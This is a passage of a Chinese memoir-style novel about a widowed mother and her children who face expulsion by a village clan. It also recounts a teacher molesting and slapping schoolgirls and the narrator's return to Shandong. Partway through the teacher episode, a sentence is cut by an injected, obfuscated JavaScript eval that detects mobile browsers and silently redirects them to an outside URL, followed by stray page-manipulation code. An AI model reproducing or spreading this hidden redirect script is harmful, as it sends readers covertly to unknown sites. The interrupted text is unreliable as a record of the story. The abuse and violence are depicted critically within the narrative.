二奶奶说:“是恁三姑给我剪的。我就在自己家里剪剪,省的去集上剪了。” 我妈妈说:“锅开了,二婶子。你赶紧吃饭吧。” 二奶奶跟二爷爷说:“咱吃饭?” 国美爷爷耷拉着眼皮说:“吃饭。” 二奶奶跟二爷爷坐在饭桌前吃饭。我们几个坐在他家里看电视。 三老太说:“他二哥,你的眼皮怎么耷拉地恁么厉害的?我这么大年纪了,眼皮也没你耷拉地厉害嘛?你不去看看去嘛?看看能割了吧?你那样耷拉着眼皮,不碍眼嘛,还能看得见路儿嘛?” 二奶奶说:“看是能看得见。几个小孩儿带他去看了。医生说割了。几个闺女说的,又没什么影响,就是不好看。年纪大了,也不在乎好看不好看的了。就不割了,嫌受罪。” 我妈妈说:“俺几个妹妹、兄弟心疼俺二叔。不割就不割呗。确实无所谓。” 二奶奶说:“姊妹几个过个年都来了,连小孩儿也带来了。闺女婿一看大人小孩儿都来了,也跟着来了。几家子都在俺这里吃着住着,可把俺跟恁二叔两个人给忙死了。” 国美爷爷说:“都吃完饭了。一个说,咱烤个窝窝头吃。那几个就说,行。又拿出来六个窝窝头儿烤了起来。烤好了一人分一点儿,六个窝窝头儿,又没有了。” 我妈妈说:“那怎么办哎,二叔,都是自己的孙男娣女。” 正说着,二奶奶家的大儿媳妇进来了。 “大妹妹来了?”我妈妈跟她说。 “大婶子。”我们也跟着喊。 “哎!三姐来了?三老太也在这的?”大婶子跟我们打招呼说。她自己站在门外,并不进来。 二奶奶站起来隔着门帘儿问她:“你吃饭了吗?” “根子来了吗?”大婶子问二奶奶。 “没有啊?根子不在家啊?”二奶奶说。 “他不在家,他喝地醉不拉几的,又出去了。我问他去哪儿的。他不理我。眼瞪得跟绳勒的样儿!他不在恁这,他这是又去找小楼庄那个娘们儿去了!我去找找去!” 二奶奶跟她儿媳妇说:“天黑了,你说你一个妇联,你去哪找去的?” “我不去找怎么弄?他天天去找小楼庄的那个娘们儿!恁老两口子又不管他!恁也想让他跟俺三叔家的大强一样,把外头的野女人弄进家里来,把我好赶出去是吧!俺三婶子不是把她那个野儿媳妇给锁在家里,让她搁家给她包饺子的吗?恁也想像他们那样是吧?我是知道的!什么时候把那个野女人跟她的野孩子一块儿弄来,把俺娘几个辞等走,恁就高兴了!”大婶子愤愤地说。二奶奶痛苦地闭着眼睛。 “你别生气,大妹妹。俺二婶子跟俺二叔哪能恁样儿哎。俺二婶子拿着恁家的鸿雁那个疼。老公母俩儿都是炖好排骨,带到学校里,去看孙女子。大兄弟这样,二婶子也是没有办法,她哪想他那样哎。儿大不由爷,闺女大了不由娘。她是想管管不了。”我妈妈跟着劝说道。 大婶子恨恨地走了,二奶奶气地饭也吃不好了。看着饭碗直叹气。 “根子跟那个女人有了孩子了?”三老太问。 “有了,说的,大手大脚的,可像根子了。”二奶奶说。 “恁没去要吗?那是恁家的人哎。”三老太说。 “人不给,三奶奶,人能给吗?”我妈妈说。 “那女的她男人不给。”二奶奶说,“要来怎么弄?这个家不要了啊?鸿雁她妈能容纳那个小孩儿吗。” 我妈妈说:“二婶子你也别生气,人家那个女的也听她丈夫的,跟她丈夫好好过日子了。大兄弟这回去找她,她也不能再跟他来往了。人家不得忙着照顾小孩儿嘛。你也好好劝劝大兄弟,让他一心一意地跟大妹妹一块儿过日子。二婶子你吃饭吧,俺走了。三奶奶,你再看会儿。” 三老太说:“恁走了,恁三姐?我也走了。” 我妈妈说:“咱走吧,三奶奶,我也困了。客走主家安。咱走了,让二婶子好好吃饭。” 二奶奶说:“恁走了?外头黑,我拿手电给恁照照。” 我妈妈说:“不要照,都是熟路,看得见。你回去吃饭去吧,二婶子。” 我低着头,看着路,跟着我妈妈回家。 我妈妈跟我说:“你近视眼,摸黑窟儿走路,看不清路儿。你看好脚底下哈。俺跟鸿雁笑笑经常来,你不经常来。这条路,俺都走习惯了。” 路上,我问我妈妈:“妈,那个女的她丈夫居然不把小孩儿给俺大叔?他媳妇跟俺大叔相好,他也不生气,也不跟她离婚?” 我妈妈说:“人那个男人是为了自己的家,人家家里没有孩子吗?” 我说:“他不跟他媳妇离婚,他媳妇跟俺大叔一块儿生的孩子,他也肯给养着啊?” 我妈妈说:“人谁养大是谁的,一个孩子啊,人家怎么舍得给恁大叔呢。” 我说:“还有这回事儿?自己媳妇跟人相好,自己也不生气。她跟人生了孩子,他还给她养着。” 我妈妈说:“你觉得奇怪吧?恁大叔还跟那个女人叫婶子来。两个人是在恁清水大爷那里挂水的时候挂上的。” “我的娘!凡庄怎么恁么乱的。”我说,“所以我是一点儿都不喜欢凡庄。” 我妈妈笑着说:“这个事儿在凡庄不稀奇哦。” “俺大婶子能拉倒啊?不跟俺大叔闹啊?”我说。 “恁大婶子跟恁大叔闹,恁大叔就打恁大婶子。男人!人家手爪子没断,能打女的!”我妈妈说,“女的平时有什么活儿让男人干,别惯男人,别不舍得让他干。人家打起女人来可有力气了。” “俺大婶子怎么处理的?就这样忍着啊?”我说。 “恁大婶子才好来。恁大叔不是在路上打她吗?人家警察看到了,就来揍恁大叔。恁大婶子又去护着恁大叔,不让警察揍他了!”我妈妈说。 “大婶子也是的,警察要揍她男人,她就让人家好好揍一顿,给她出出气是的,还护着干什么的?找人揍他还找不到呢!” 我说。 “谁知道来,你说说!还能这样呢?你这话儿可千万不要搁恁二奶奶跟前说哈。” 我妈妈说。 “俺大婶子怎么这样的?下回她男人再揍她,人家也不管了。”我说。 “女人都这样,人软。”我妈妈说,“男人心狠。” “俺二奶二佬,也不管管俺大叔的?”我说。 “恁大叔都四十多了,她能管得了啊?”我妈妈说。 “也是。俺二佬耷拉着眼皮,看起来跟七八十岁的似的。”我说。 “恁三老太说的,恁二奶奶跟恁二佬年轻的时候罪恶滔天的。”我妈妈说。 “罪恶滔天的是什么意思?”我问。 “恁二佬跟恁二奶奶年轻的时候,人家都在外头搭个蚊帐,凉快。恁二佬跟恁二奶奶也搁外边儿搭个蚊帐。两个人搁蚊帐里就那样儿。恁二佬眼皮耷拉着,就是因为年轻的时候干那事儿干地太多了。” “人家俺二奶奶跟俺二佬是夫妻俩儿,那也没什么好说的。”我说,“人家现在三个闺女两个儿,多好!” “恁二奶奶本来有四个闺女,那个四闺女后来死了。”我妈妈说。 “啊?怎么死了的?”我说。 “她生下来就身体不好,眼睛看不太清。脑子也不好使。人家都跟她叫‘瞎四儿’。恁二奶奶惯着她,到处偷人家的东西。她偷回来瓜果梨枣儿的,恁二奶奶还夸她。后来,不知道怎么回事儿,‘瞎四儿’得病死了。” 2.私立公堂 年后,西院儿的凡乐、南家前的豆秃子跟他媳妇、前院儿的大恶心,都来我家了。他们来到我家院子里,攒聚在梧桐树底下,围着我妈妈展开批斗大会。我妈妈和三姑姥娘被围在中间,三姑姥娘默不吭声儿,我妈妈百口莫辩。 “恁三姐,恁不打算在凡庄长住啊?恁打算攒够了钱就走啊?恁不能在这里安心住着照顾恁三姑啊?”凡乐说。 凡乐大概快五十岁了。他的头斜插在他的肩膀上,他看起来像是一个早早地探出了头,被太阳晒得发青的老萝卜一样。他的面皮枯黄,又使他看起来像是一只老绵羊。 “哪有啊?二大爷?你是听谁说的?俺三姑对俺恁好,俺能走吗?俺要是走了不是对不起俺三姑吗?俺不是那不要良心的人。再说了,俺三个孩子恁么小,出了凡庄,俺娘四个儿还能到哪去啊?”我妈妈说。 “恁家鸿雁说的,等恁娘四个挣够了钱就回去。恁要是想半道儿上回山东,撇下恁三姑不管不顾,恁这不是坑她的吗?俺姓凡的不能同意!”凡乐说。他的头高昂着,像是被抬在枷锁上一样。 “我从来没跟鸿雁说过这话哦。鸿雁跟谁说的,二大爷?”我妈妈问凡乐。 “鸿雁是跟我说的。”恶心他娘说。 “鸿雁什么时候跟你说的?大娘?咱娘们儿平时喜好喜好的。你怎么能这样对我的?”我妈妈说。 “鸿雁搁大街上玩儿,我问他的。” 恶心的娘说,“我说,鸿雁啊,你到俺庄上干什么的?俺这是凡庄,你姓宋,你又不姓凡。鸿雁说,俺妈妈说的,等俺娘四个攒够了钱,俺就回山东盖屋。俺就不搁凡庄了。” “大娘啊,鸿雁是小孩儿哎。小孩儿的话能信吗?”我妈妈说。 “你这话说的!小孩儿的话没假!小孩儿的话不能信,还能信谁的话啊!信你的啊?”大恶心说。 我妈妈说:“大兄弟啊!上有青天下有地,当央有鲜亮的儿女。俺的三个孩子看在跟儿里。我是不是想坑俺三姑的,我敢发上誓愿。谁要是想坑俺三姑的,谁‘咔嚓’就死!话翻过来说,谁要是想诬赖俺吧,谁‘咔嚓’就死!”其实,事情的起因只是我弟弟的一句话,可是,人家故意要捏我们的短,把我们赶出凡庄。哪个会相信我妈妈的辩白呢。 “现在的社会,你赌咒发誓有什么用,谁相信!哪个还真能说死就死!”大恶心冷笑着说。 “兄弟,咱说话可得凭良心!我带着三个小孩,从山东千里遥远地来到南乡,俺图的是什么?俺图的是南乡的地土好,俺三姑对俺好,俺靠着她,种点儿地,能养活俺三个孩子。俺丈夫早就死了,俺三间屋也墙倒屋塌了。俺回去干什么呢?俺三姑对俺恁好,俺能撇下她不管吗,俺能丧那个良心吗?”我妈妈说。 “丧良心?!”大恶心冷笑着说,“恁娘四个搁凡庄,住着俺三婶子的屋,种着俺三婶子的地。吃她的,喝她的,恁还想撇下她回山东,恁不嫌丧良心!” “那都是鸿雁胡说八道的。小孩不懂事儿。俺周玉梅为孩儿没干过丧良心的事儿。俺不会对不起俺三姑的。可典大叔活着的时候,跟俺家家军处得跟亲爷俩儿一样。俺是什么样的人,俺三姑知道,小鲁村的好姊妹好娘们儿都知道。恁不信恁可以去小鲁村访访,我周玉梅不是不要良心的人。”我妈妈说。 “那都是你的一面之词。人心隔肚皮,虎心隔毛翼。你是什么样的人,隔皮猜瓜,谁知道?”凡乐说。他的一张老山羊一样的脸枯黄诡谲。他的下颌上的牙齿像是面对面执勤的两排士兵一样,错落有致地等距离排列着。 “俺三姑也不是傻子。俺要是那样的人,她能收留俺娘四个吗?”我妈妈说。 “她那都是想不开,钻牛角尖儿,她不听姓凡的劝。她被你灌了迷魂汤了,她宁愿相信你,也不相信姓凡的。她宁愿靠你,也不靠侄男伯女。”豆秃子蹲在地上气呼呼地说。 “大爷,我不会说三道四,不会花言巧语,我能给俺三姑灌什么迷魂汤啊?俺三姑不是可怜俺娘四个没地方去,才让我来凡庄投靠她的吗?俺在凡庄跟着俺三姑住着,碍谁什么?三间土块子的屋儿,一下雨就漏雨。大蒜行情恁么孬,俺三姑的地,不是我种,旁人也不稀罕种。恁谁要想孝顺她,年到月近的,恁就买上二斤细果子来看看她。俺又不去吃一点儿。”我妈妈说。 “她还说她不会说三道四?!她的嘴叭叭的,俺几个人说不过她!”大恶心冷笑着说。 “恁娘四个来路不明,到现在没人知道恁家住哪里。恁说来就来,说走就走。谁能管的了恁?他三婶子有年纪了,没人主持公道,俺这些姓凡的就得给她拿拿主意。”豆秃子分开人群,来到阵前拍着巴掌说。 “俺没瞒谁没骗谁。俺是山东人士。俺山东历来出好汉,出响马,不出孬种!俺做事从来不给山东人丢脸。俺绝对不会撇下俺三姑不管。”我妈妈说。 天黑了,那么多男男女女攒聚在梧桐树下,议论纷纷。我妈妈跟三姑姥娘被包围在里头。我们三个弱小的孩子,被隔离在姓凡的包围圈儿外头。我的妈妈,像是一头失群的孤雁,被凡姓的男女一起用唾沫夹击、围殴。我妈妈在山东的时候,是那么刚强的一个人,她的嗓门儿很大。可是现在,她不能再像以前那样说话,她但凡跟谁急躁起来,那就不是简单地嘴上的围攻,而是拳打脚踢了。我的妈妈,她有三个孩子。她不能伤、不能死。覆巢之下,安有完卵。她如果伤了、死了,我们几个也就岌岌可危了。凡姓的男女围着我妈妈的时候,有一个大姑娘挤在人群里笑嘻嘻地看,我当时知道她是凡家的人,但不知道她是谁。 他们想让我们娘儿四个走。 “那是!这个女人不能留!” “山东来的熊野教!她到底是什么人,还不知道呢!不能留!”姓凡的七嘴八舌地说。 第二天,这件事还没有完。我妈妈靠着梧桐树站着。我跟在她身边,看着面前三间土块筑成的小屋,我想走了。 我对我妈妈说:“妈妈,咱走吧!” 妈妈小声儿跟我说:“咱娘四个,走了,到哪儿去啊!越是这个时候,越是不能走,你走了,人家就更说咱是骗恁三姑姥娘的了!” 我妈妈跟三姑姥娘说:“三姑,俺不走。” 三姑姥娘被她的近房说动了心,她对我妈妈说:“恁娘四个走吧!” 我那时候已经十三岁了,听了这话,就去拿我自己的衣裳袋子,收拾东西。 我妈妈不让我收拾,她伸过手来夺我的衣裳袋子,小声儿地跟我说:“你越是这样,人家越生气。人家能让你走吗?他们不让你走,咱也走不了,咱出不了凡庄。” 三姑姥娘的二大伯哥,西院的凡乐来了,他对我妈妈说:“咱先说下,恁走是走,只能带随身的衣服,布料什么的不能带!那都是他三婶子的!”我们在三姑姥娘家里住,三姑姥娘是给了我们几块布。凡乐这个老鬼真是什么都想的到。 三姑姥娘气冲冲地来了,大概是凡乐交代的,她拿过我的袋子,要亲自翻看。 我把我的袋子给她,哭着说:“姑姥娘,你看看我的袋子吧!” 三姑姥娘一手抓着我的袋子,一手伸进去翻看。 里头有几块她给我们的布,她说:“这几块布,你留着让恁妈给你做身儿衣裳吧!” 凡乐对我妈妈说:“他三姐,你可别怪俺。俺让你走,俺也不是心狠。你带着三个小孩儿,实在太多了。不行,你这样吧。你把恁大丫头送回去,让她跟着他爷爷。你带着小鸿雁跟笑笑搁这里过。这样你的负担也轻快一些。” 我听到凡乐让我妈妈把我送给我爷爷,心头一紧,有些害怕,怕我妈妈听了凡乐的话,真把我送回山东去了。丈夫死了以后,撇下自己的亲生孩子不管不问的女人多了去了,我妈妈不会为了保全自己,真的把我送回山东去吧?山东虽好,我到底是恋着我妈妈啊,爷爷虽好,到底是我妈妈真的疼我,还能供我上学啊?那一瞬间,我很害怕我妈妈会做出一个决定,把我扔了。如果我妈妈真的把我扔了?我会怎么办呢?我会想尽一切办法,求着学校让我上学,我会吃很多的苦。我难以想象我妈妈不管我以后,我的生活。但是我可以想到的是,我会恨死了我妈妈,我会断绝跟我妈妈的一切关系。 万幸的是,我遇到了一个好妈妈。她看了看我,仿佛要做出决定。但是她没吭声儿。我也相信,我妈妈不会把我扔了。我们都不是不顾骨肉血亲,只顾自己,苟且偷生之人。 我妈妈还是不走。就在院子里耗着。 天晚了,这次,没有人来批斗。我弟弟早就沉沉地睡着了。 我妈妈爬到我弟弟的床头上,哭着说:“鸿雁啊,我什么时候说的,要挣了钱回山东的?”我弟弟睡地迷迷糊糊地,根本不记得他自己说了什么,也不知道我妈妈在说什么,只想睡觉。 我妈妈拿了根大洋针,再次爬到我弟弟床头:“鸿雁啊,你说的什么瞎话,把恁妈妈害死了,我拿针剟你的嘴!”妈妈拿着大洋针朝我睡着的弟弟爬过去,那根大洋针伸到了我弟弟的嘴边了。我弟弟吓得裂开嘴哭了。我赶紧爬过去护着我弟弟。 我质问我妈妈:“他是小孩儿,他懂什么?你明知道是人家想找事儿,你还来剟他?!” 我已经做好了准备,如果我妈妈真的拿针剟我弟弟,我肯定拼命护着他。不管是谁要来害他,我都会拼命护着他。 我妈妈跟我使个眼色说:“你别管!隔墙有耳。门外有人听!”我看出来我妈妈不会真的拿针剟我弟弟,就不去护我弟弟了。我弟弟躺在枕头上,被我妈妈吓得裂着嘴大哭,我妈妈噙着眼泪,终究是没有下得了手。 我想想我弟弟,我觉得他那时候太可怜了。是的,一个穷人家的不幸的孩子太可怜了。一个穷人家的孩子要忍受多少委屈才能长大。 第三天晚上,我们三个都睡下了,听到西屋里,三姑姥娘跟我妈妈一块儿说话。 我清清楚楚地听到,三姑姥娘“呜呜”地哭着:“恁娘四个可不能撇下我不管啊!” 我妈妈说:“恁放心,三姑,就是我死了还有俺三个孩子,她们有良心,不会撇下你不管的。” 侄男伯女靠不住,这个,三姑姥娘知道。凡庄的一个五保户死的时候,因为无儿无女,身子还没凉透的,就被几个侄子拖去给埋了。这件事应该在早年就把她吓出了心病,三姑姥娘怕死,更怕一个人惨死。她要找个可靠的人来照顾她的晚年。 我们终于不用走了。 我问我妈妈说:“妈,咱不走了?” 我妈妈说:“咱不走了。” 我说:“俺三姑姥娘先前不是让咱走的吗?” 我妈妈说:“哪是恁三姑姥娘想让咱走的啊。都是姓凡的坏的。人家姓凡的嫌咱搁这儿跟人家争肥。咱要是不搁这儿,恁三姑姥娘的东西不都是人家姓凡的嘛。” 我说:“就是的。明明是俺小弟胡说八道的,人家就是不信。” 我妈妈说:“人家也知道是小孩儿胡说八道的。人家就是有意地想找个因由辞蹬咱的。咱是野燕子,到哪都受人辞蹬。你看那些狗在围着食盆子吃食吧。要是再来一条野狗,也想吃那食盆子里的食,先前的那几条狗就一块儿去咬它,赶它。人和狗一样,都会辞蹬人。生的馒头入不了笼。你一个野燕子,人家怎能不欺负你。还是共产党的社会儿好。要不是共产党的社会儿,姓凡的一人一个指甲盖儿子,就把咱娘四个给掐死了。恁三姑姥娘也可怜,咱以后可不能扔下她不管。” 我们留了下来。 我妈妈送我去凡庄上的小学去上六年级。我上了几天学,也不记得老师讲了什么。只记得语文老师是个快五十岁的黑胖子,胖胖的,像个老娘们儿。他看起来很老实,胖胖的黑脸上有几个小肉瘤,像是老母猪肚子上的猪□□。他穿着黑色的呢子大衣,两手交叉,很斯文地放在胸前。趁着女学生写字的时间,他晃到女学生身后边,用他躯体前面中部部位,在女学生的后背上蹭来蹭去。我不记得他有没有蹭过我,应该是没有,或者是有过?我不太记得了。我个子不高,但是当时因为我是插班生,便被安排在教室的最后一排,给这个男性老母猪提供了有利的作案位置?我也不太确定了。 但是我是清清楚楚记得他剐蹭过别的女孩子。他经常是游动作案,他像是浮在水上的一头黑猪,在教室里慢吞吞地游来游去,一会儿蹭蹭这个女学生,一会儿蹭蹭那个女学生。教室里遭他的黑猪前躯剐蹭的女学生不在少数。那个时候,女孩子不懂得保护自己,当然是不敢反对猥亵女学生的男老师的。被恶意剐蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137789|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女孩子中,回家告诉家长的是少数,家长当回事儿的又是少数。 我以为这头黑猪温呑呑地到处瞎蹭,应该脾气不大。谁知道有一天,他发了火了。那天,一个漂亮的高个子女生因为上课迟到了,他罚她站到黑板前头。他先是板着他的黑脸去质问那个女学生。 “你怎的迟到的?”他问她,他的声音不大。他的黑猪脸看着那个女学生,他的胖胖的黑猪体对着那个女学生。那个女学生个子很高,脸蛋也俊俏。黑猪脸近近地对着她,更显得他淫威凛凛了。那一刻,我觉得他们不像是师生,倒像是黄世仁在审问逃跑的喜儿。 女学生也许本就瞧不起他的爱剐蹭女学生的黑猪体,对他的态度有些强硬,不怎么恭敬。 “迟到就迟到吧!你爱罚就罚!”她大义凛然地说。 黑猪老娘们儿显然生气了,他抄起他的油腻的黑猪蹄就扇了那个女学生一巴掌,女学生当场大哭了起来。但是只哭了几声。不知道是慑于他的淫威,怕哭多了,更会挨揍,还是那个女学生本来就很坚强。那个女学生不哭了,只悲伤地站在那里。 那黑猪走上前去,又笑着扭了一把女学生的脸蛋。 女学生嫌弃地用南乡话说:“别招我!” 黑猪老娘们儿又生气了,伸手又给了女学生一个大巴掌。 女学生又悲伤地哭了。 这个黑公猪不是东西。我回家跟我妈妈说了这事儿。没想到这事儿没有引起家长太大的反应,我妈妈也没有太气愤。 后来,这头黑猪骑着自行车赶集的时候,被几个男学生截住追着打了,把他打地回家躺着,自行车也扔了。 他还会继续猥亵女学生吗? 在教室里都可以发情的黑公猪,他是不是得了什么病? 我的数学老师找我谈话了。他把我叫到办公室里。我站在他的跟前。他正襟危坐在他的办公桌前。那时候还是冬天,他穿着一身黑衣,戴着一条蓝色的毛线围巾。他比那个猥亵女生的罪犯年纪要大,个子高高瘦瘦的,虽有一脸麻子,并不影响他的高大。 “你的数学太差了。我听说,你在你们那边儿都上初一了是吗?”数学老师说。 “嗯。” “你没上过六年级是吗?”他又问我。 “嗯。我们那只有五年级。” “你看,我们这里的学习难度比你们那里的要大。我们这是六年级,你都跟不上。那以后要是到了初中,你更跟不上了。毫不客气地说,你现在就是一个差生。我的建议是,你还是留级吧。” 3.兰兰家 我当然不想留级,我妈妈想了想,还是把我送回山东上学。 我要回山东了,我妈妈给我收拾东西。她说:“恁小弟上回在河沿捞了一条大鱼,我给炸了,留给你,这回你带上吧。你就自己吃,别给旁人吃。” 我说:“你留着恁吃吧。” 我妈妈说:“俺这边离河沿近。恁弟弟能撒丝网,能吃点儿鱼。你在山东吃不上。还是给你吧。” 我说:“哦。” 天晚了,我弟弟妹妹都睡着了。我妈妈对我说:“这个猪肺你拿走吧。熟的,我也不给你炒了。” 我说:“行。” 我妈妈说:“你不要给恁爷爷吃了,你给他吃了,他还净是事儿,他还当是恁妈在南乡过得多好来。” 我说:“行。” 我妈妈说:“你明天还要走路,你早点睡觉吧,我刚看见你的棉袄袖子有点短了。我给你接上。” 我就去睡觉,我妈妈坐在她的床头,靠着煤油灯,给我做了两只棉袄袖子,接在我的旧棉袄上。 我妈妈针线活儿很好。她没到深夜就把两只袖子给接好了。她在她床前的大塑料桶里尿了尿,一边系着裤腰带,一边走到我的床头。我的床头是一只小的黑绿色的塑料桶。我妈妈把我的小桶往一边放放,怕我夜里不小心踢翻了。再帮我把被子盖了盖。 我听到她自言自语地说:“你看大省儿,睡着了,跟武官儿样儿。”我听到了她的声音,也不睁眼也不吭声儿。她还觉得我像是个武官,那就让她觉得吧。总比让她觉得我是个孱头强。 第二天,我推着自行车,妈妈送我去车站等车。开车的师傅站在车门口儿说:“你那洋车子怎么上去啊!” 我妈妈像是一个陌生人似的替我跟师傅讲情说:“师傅,一个小丫头,你行行好!让她上去吧!” 师傅说:“洋车子还得摞到车顶上。可麻烦了。” 我还在犹豫着要不要进去,我妈妈猛然间生气地把我往车里推着说:“进去!进去!快进去!” 我被我妈妈推进了车里。那个师傅没有办法,只好下去,把我那辆洋车子给摞到了车顶上,用一个大网子给网了起来。 “你好好记着,到爱丘下车哈!”我妈妈在外头喊着。 “哦!知道了。”我在人群堆里答应着。 汽车开动了,我站在人群中间,看不见妈妈的脸。我跟着汽车一点点地离开南乡,离开有我妈妈的地方。我看到桥底下,一波水碧,一个女人蹲着在岸边洗衣,一个男人用脚底板对着她的脖子碾去。她被那个男人用脚底板碾了,她也没有落水,她还在继续洗衣。那女人的身影,像是我的妈妈。可是定睛一看,又有点像是我了。 我来到南荆堂爷爷家门口儿,左手扶着车把,右手推起自行车的后屁股,把自行车搬进了爷爷家的门槛。 我爷爷正好在家,他看见我回来了,立刻大哭了起来:“省儿啊,你可是回来了。爷爷到处找你啊!你去了哪里了!我还当是你去了恁同学家了。我去她家找去了,她说你没去她家!” 我说:“你去了俺哪个同学家?” 他说:“你不是说你去戚继芳家的吗?我到了蒙烟打听的。” 我说:“我去俺妈妈那了。” 我爷爷哭着说:“过年的时候,我哭了好几天,我找根儿小绳儿,套个圈儿,放到梁头上,想上吊死了算了。我都把头放进去了,想了想,省儿要是来了,找不到爷爷怎么办了?我就又把绳子从脖子上拿下来了。” 我看着我爷爷哭,我一点都不感动,一滴眼泪都没有掉。 我爷爷看看我无动于衷,他也就不哭了。 他从他的厨子里端出来半碗饺子:“呐,这是我拿油渣包的饺子,给你留着的。我说,给省儿留半碗。等省儿回来吃。” 我就坐下来吃饺子。那碗饺子的确是留了好几天,有些变质了。可是我还是觉得很好吃。我爷爷毕竟是只养活自己一个,他的生活比我妈妈那里好地多的多。我妈妈那里,没有肉饺子。 我不能把那天夜里他吓唬我的事完全不当一回事。我对爷爷的态度变了。我对爷爷的感情变了。他也觉得变了。他知道我是他剩下来的唯一的亲人了。他不敢得罪我。他确实不该得罪我。可是他确实把我得罪了。 我回到我爷爷家,真地没有把那条炸鱼跟猪肺拿出来给我爷爷吃。我把它们夹带到学校,等到放了学,我就喊了跟我要好的同学跟我一起吃那条炸鱼。那条炸鱼已经炸了好多天了,有些硬,还有些腥。肚子里头还有金黄的鱼籽。我蹲在地上,对着宿舍里放东西的水泥台阶,就着爷爷给我蒸地酸溜溜的馒头吃。那还是年后,天还是冷的。馒头是冷的,鱼也是冷的。 “哎呀!太凉了!我要去打点热菜吃去!”被我喊来一起吃鱼的女同学说。因为吃了我的炸鱼,她的嘴上油油的。她端起她的饭盒,匆匆忙忙地走了,剩下我自己蹲在那里继续吃。 等到晚上放了学回到宿舍,我在同样的黑暗中把猪肺拿出来。这次,我没有叫上别人跟我一起吃。因为这是我妈妈他们没舍得吃的。同时,也是因为没有人把一整个猪肺炒都不炒就捧着吃,我怕人笑话。我啃着那猪肺,那猪肺连盐都没有放,吃在嘴里,除了知道那是一块猪肺,没有一点其他的滋味。我心里想,我妈妈不该把整个的猪肺给我的。猪肺这样吃,真是浪费了。 南家前二奶奶的孙女叫兰兰。兰兰那时候有六七岁,有红红的脸蛋,大大的眼睛,浓密的炸裂的睫毛。她穿着红红的带黑杠儿的笼袄的褂子,整个人看起来像个红山楂。我跟她一起,她“姐姐!姐姐!”地叫我,很是亲切。 兰兰的弟弟叫开放,长得跟我二奶奶很像。他们一家四口儿,跟二奶奶、二爷爷住在一个院子里。二奶奶、二爷爷住在东边一间屋里,二叔、二婶子一家子住在西边的两间屋里。 兰兰的妈妈,我叫她二婶子。二婶子长得眉清目秀,白皙的腮上有天然的微红。她不胖不瘦,就算穿一件老式的军绿色的褂子,也不显得土气。二婶子家里的相框里,有一张她的照片:二婶子站在谷子地里,露出上半身,一地黄黄的弯了腰的谷穗包围着她。 二叔、二婶子感情很好。一个星期天,我去她家玩,看到她从她家西墙边的小塑料大棚里弯着腰拱出来,新浴后的头发还没来得及擦干,大棚里的热水、热汽蒸地她两腮微红。她眉开眼笑地跟二叔说:“洗个澡真痛快!”可能因为有我在,二叔不好意思吧,他看了看我,没跟二婶子说什么。二婶子看了看我,也不再说什么了。 二婶子对我不错。二奶奶的二闺女种蘑菇,经常把卖剩下的蘑菇腿儿带来,分给娘家人吃。晚上,我去二奶奶家,二婶子喊我去她屋里。 “大省儿啊,我炒地蘑菇腿儿,你来吃吧。”二婶子跟我说。 “我不吃了,二婶子。我吃完饭了。”我说。 “你吃吧!恁二姑给俺的蘑菇腿儿。俺都吃完了。你坐下吃吧。我去天井里收收衣裳。”二婶子说。 我看二婶子是实心实意地让我吃。我就真地进了屋。二婶子走到天井里收晾衣绳上的衣裳。我站在她们桌前,吃了盘子里的几筷子蘑菇腿儿。那蘑菇腿儿放了酱油醋,酸酸咸咸的,真好吃。 有时候,我去二婶子家里看电视。二婶子家里放着《红楼梦》。我是个电视迷,一看电视,我就入迷。那时候,我还不知道我看的是《红楼梦》,只记得,每一集结束以后,下一集开始的时候,就有一座大山,山上有个大石头,片头曲里唱着:开辟鸿蒙,谁为情种?都只为风月情浓…… 歌词当然是我后来才知道的,我当时哪知道这些,我那时连电视里头的人是谁也不知道。只看到一群女子,脸都一个样儿,个个都笑嘻嘻地,只有一个特别煞风景,她长得也不好看,还老是哭丧着个脸。晚上,别人都睡了,她也不睡,人家还得费心去对她好生安慰。 我一集一集地看着,我二婶子要出去干活儿了。她跟我说:“大省,别看了,我得到南大地里看看去了。”我在人家家里看电视,被人家还算客气地给请出去,这都是常事儿。我就答应一声,从刚才的如痴如醉里大梦初醒过来。 二婶子把堂屋门锁上,走到院子里来,二奶奶正在院子中央的压水井水池子边上洗衣裳。二奶奶家的压水井池子是用灰色的水泥做的,新新的,很宽大。二奶奶家的院子跟我家的有点像,都是在天井的东南角里,种着一丛翠绿的竹子。 二婶子走到天井里,跟二奶奶说:“娘,你看着兰兰。我哪天带着兰兰去她姥娘家,让俺娘来咱家拿山芋栽子。”山芋栽子就是山芋秧子的意思,春天,种山芋的时候,要用山芋栽子。 “行!”二奶奶正弯着腰拧衣服,她听了二婶子的话,背着身儿答应一声儿。 “我走了,二奶奶。” 我也跟二奶奶说一声儿,就回我爷爷家了。 到了星期天,我跟兰兰一起玩的时候。 兰兰跟我说:“我想去俺姥娘家。” 我说:“你姥娘家搁哪?” 兰兰说:“俺姥娘家搁大泉。” 我说:“上回我听恁妈妈说要带你去恁姥娘家的。她可能没空儿,我带你去吧。” 兰兰说:“行。”我骑着自行车带着兰兰,很快就到了大泉。 大泉庄南家前,是一大片一大片的石博连。蓝灰色的石博连,把大泉庄前的黄土地覆盖成一片。人来到大泉庄上,脚底下几乎不沾土。大泉这个庄上,据说有一眼泉水。庄上的人在这眼泉水前头挖了一孔井,全庄上的人就吃这井里的水。前几年夏天,大泉庄上一个女人不见了,她的男人哭着到处找。女人的娘家找来了公安。公安上来就把这女人的丈夫给抓了起来。在她男人的指点下,公安找到了女人,就在大泉庄前头的大井里。公安让人从井里捞出了女人。那女人早就在井底泡地胖胖的,白唧唧的。庄上的人听说此事,赶紧把自家水缸里的水倒个干净。有那家里包了饺子的,也不能吃了,一锅饺子全都泼到了天井里。庄里的人还是要吃水,还是要用这口井。怎么办呢?安排人淘井吧。庄上多的是壮劳力,几个壮劳力把井淘洗一遍,大家才慢慢地又开始吃那井里的水。 